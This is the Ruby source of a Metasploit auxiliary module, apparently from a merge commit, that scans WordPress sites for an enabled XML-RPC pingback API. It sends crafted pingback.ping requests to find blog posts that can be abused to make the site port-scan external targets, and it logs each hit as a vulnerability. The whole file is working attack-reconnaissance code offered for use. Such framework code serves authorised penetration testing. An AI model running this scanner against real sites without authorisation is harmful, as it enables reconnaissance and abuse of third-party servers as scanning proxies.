Merge branch 'wordpress-pingback-access' of https://github.com/smilingraccoon/metasploit-framework into smilingraccoon-wordpress-pingback-access
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wordpress Pingback Locator',
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'Description' => %q{
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This module will scan for wordpress sites with the Pingback
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API enabled. By interfacing with the API an attacker can cause
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the wordpress site to port scan an external target and return
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results. Refer to the wordpress_pingback_portscanner module.
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},
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'Author' =>
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[
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'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
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'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' ,
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'FireFart' # Original PoC
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://www.securityfocus.com/archive/1/525045/30/30/threaded'],
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[ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
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[ 'URL', 'https://github.com/FireFart/WordpressPingbackPortScanner']
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]
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'The path to wordpress installation (e.g. /wordpress/)', '/'])
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], self.class)
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register_advanced_options(
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[
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OptInt.new('NUM_REDIRECTS', [ true, "Number of HTTP redirects to follow", 10])
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], self.class)
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end
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def setup()
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# Check if database is active
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if db()
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@db_active = true
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else
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@db_active = false
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end
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end
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def get_xml_rpc_url(ip)
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# code to find the xmlrpc url when passed in IP
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vprint_status("Enumerating XML-RPC URI for #{ip}...")
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begin
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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res = send_request_cgi(
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{
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'method' => 'HEAD',
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'uri' => "#{uri}"
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})
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# Check if X-Pingback exists and return value
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if res
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if res['X-Pingback']
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return res['X-Pingback']
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else
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vprint_status("X-Pingback header not found at #{ip}")
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return nil
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end
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else
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return nil
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Unable to connect to #{ip}")
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return nil
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rescue ::Timeout::Error, ::Errno::EPIPE
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print_error("Unable to connect to #{ip}")
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return nil
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end
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end
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# Creates the XML data to be sent
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def generate_pingback_xml (target, valid_blog_post)
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xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
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xml << "<methodCall>"
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xml << "<methodName>pingback.ping</methodName>"
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xml << "<params>"
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xml << "<param><value><string>#{target}</string></value></param>"
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xml << "<param><value><string>#{valid_blog_post}</string></value></param>"
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xml << "</params>"
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xml << "</methodCall>"
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return xml
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end
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def get_blog_posts(xml_rpc, ip)
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# find all blog posts within IP and determine if pingback is enabled
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vprint_status("Enumerating Blog posts on #{ip}...")
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blog_posts = nil
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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# make http request to feed url
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begin
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vprint_status("Resolving #{ip}#{uri}?feed=rss2 to locate wordpress feed...")
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res = send_request_cgi({
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'uri' => "#{uri}?feed=rss2",
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'method' => 'GET'
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})
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count = datastore['NUM_REDIRECTS']
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# Follow redirects
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while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
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vprint_status("Web server returned a #{res.code}...following to #{res.headers['Location']}")
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uri = res.headers['Location'].sub(/(http|https):\/\/.*?\//, "/")
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res = send_request_cgi({
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'uri' => "#{uri}",
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'method' => 'GET'
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})
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if res.code == 200
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vprint_status("Feed located at http://#{ip}#{uri}")
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else
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vprint_status("#{ip} returned a #{res.code}...")
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end
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count = count - 1
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Unable to connect to #{ip}")
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return nil
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rescue ::Timeout::Error, ::Errno::EPIPE
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print_error("Unable to connect to #{ip}")
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return nil
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end
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if res.nil? or res.code != 200
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vprint_status("Did not recieve HTTP response from #{ip}")
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return blog_posts
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end
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# parse out links and place in array
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links = res.body.scan(/<link>([^<]+)<\/link>/i)
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if links.nil? or links.empty?
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vprint_status("Feed at #{ip} did not have any links present")
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return blog_posts
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end
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links.each do |link|
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blog_post = link[0]
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pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
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if pingback_response
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pingback_disabled_match = pingback_response.body.match(/<value><int>33<\/int><\/value>/i)
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if pingback_response.code == 200 and pingback_disabled_match.nil?
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print_good("Pingback enabled: #{link.join}")
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blog_posts = link.join
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return blog_posts
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else
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vprint_status("Pingback disabled: #{link.join}")
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end
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end
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end
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return blog_posts
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end
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# method to send xml-rpc requests
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def get_pingback_request(xml_rpc, target, blog_post)
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uri = xml_rpc.sub(/.*?#{target}/,"")
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# create xml pingback request
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pingback_xml = generate_pingback_xml(target, blog_post)
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# Send post request with crafted XML as data
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begin
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res = send_request_cgi({
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'uri' => "#{uri}",
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'method' => 'POST',
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'data' => "#{pingback_xml}"
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Unable to connect to #{uri}")
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return nil
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rescue ::Timeout::Error, ::Errno::EPIPE
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print_error("Unable to connect to #{uri}")
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return nil
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end
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return res
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end
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# Save data to vuln table
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def store_vuln(ip, blog)
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report_vuln(
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:host => ip,
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:proto => 'tcp',
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:port => datastore['RPORT'],
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:name => self.name,
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:info => "Module #{self.fullname} found pingback at #{blog}",
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:sname => datastore['SSL'] ? "https" : "http"
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)
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end
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# main control method
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def run_host(ip)
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# call method to get xmlrpc url
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xmlrpc = get_xml_rpc_url(ip)
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# once xmlrpc url is found, get_blog_posts
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if xmlrpc.nil?
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print_error("#{ip} does not appear to be vulnerable")
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else
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hash = get_blog_posts(xmlrpc, ip)
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if hash
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store_vuln(ip, hash) if @db_active
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else
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print_status("X-Pingback enabled but no vulnerable blogs found on #{ip}...")
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end
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end
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end
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end
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